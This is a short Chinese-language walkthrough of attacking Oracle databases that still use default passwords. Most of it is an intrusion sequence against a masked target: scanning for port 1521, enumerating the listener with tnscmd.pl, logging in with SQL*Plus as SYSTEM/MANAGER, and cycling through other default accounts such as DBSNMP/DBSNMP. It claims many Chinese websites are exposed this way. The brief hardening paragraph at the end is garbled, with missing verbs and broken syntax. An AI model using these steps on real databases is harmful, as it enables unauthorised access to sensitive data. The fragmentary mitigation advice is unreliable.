Oracle 以高性能事務處理、工業標準兼容性、安全完整性控制、分布式架構著稱,通過 ANSI/ISO SQL89 二級認證。但軟件特性無法替代人為安全意識,配置疏忽仍會導致嚴重漏洞。
安裝後擁有 DBA 權限的 SYS 與 SYSTEM 默認密碼均為 MANAGER。大量國內網站(含大型電商)未修改預設口令,導致攻擊者可直接獲取最高權限。
使用 SuperScan 掃描開放 1521 端口(TNS Listener 默認端口)的主機,假設目標 IP 為 xx.xx.110.110。
利用 Perl 腳本 tnscmd.pl 查詢遠程實例信息:
perl tnscmd.pl services -h xx.xx.110.110 -p 1521 --indent
回顯關鍵字段:SERVICE_NAME=ORCL、INSTANCE_NAME=ORCL、HANDLER=DEDICATED SERVER。
使用 SQL*Plus 遠程連接測試常見預設帳號:
SQL> CONNECT SYSTEM/MANAGER@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=xx.xx.110.110)(PORT=1521)))(CONNECT_DATA=(SERVICE_NAME=ORCL)));
若失敗,嘗試 SYS/MANAGER、DBSNMP/DBSNMP、MDSYS/MDSYS、CTXSYS/CTXSYS 等版本相關預設帳號。實測 DBSNMP/DBSNMP 成功率極高。
SYS、SYSTEM 及所有預設帳號密碼,啟用密碼複雜度驗證函數。ALTER USER ... ACCOUNT LOCK)。AUDIT_TRAIL=DB,EXTENDED 記錄所有登入嘗試與 DDL 操作。PROFILE 強制過期。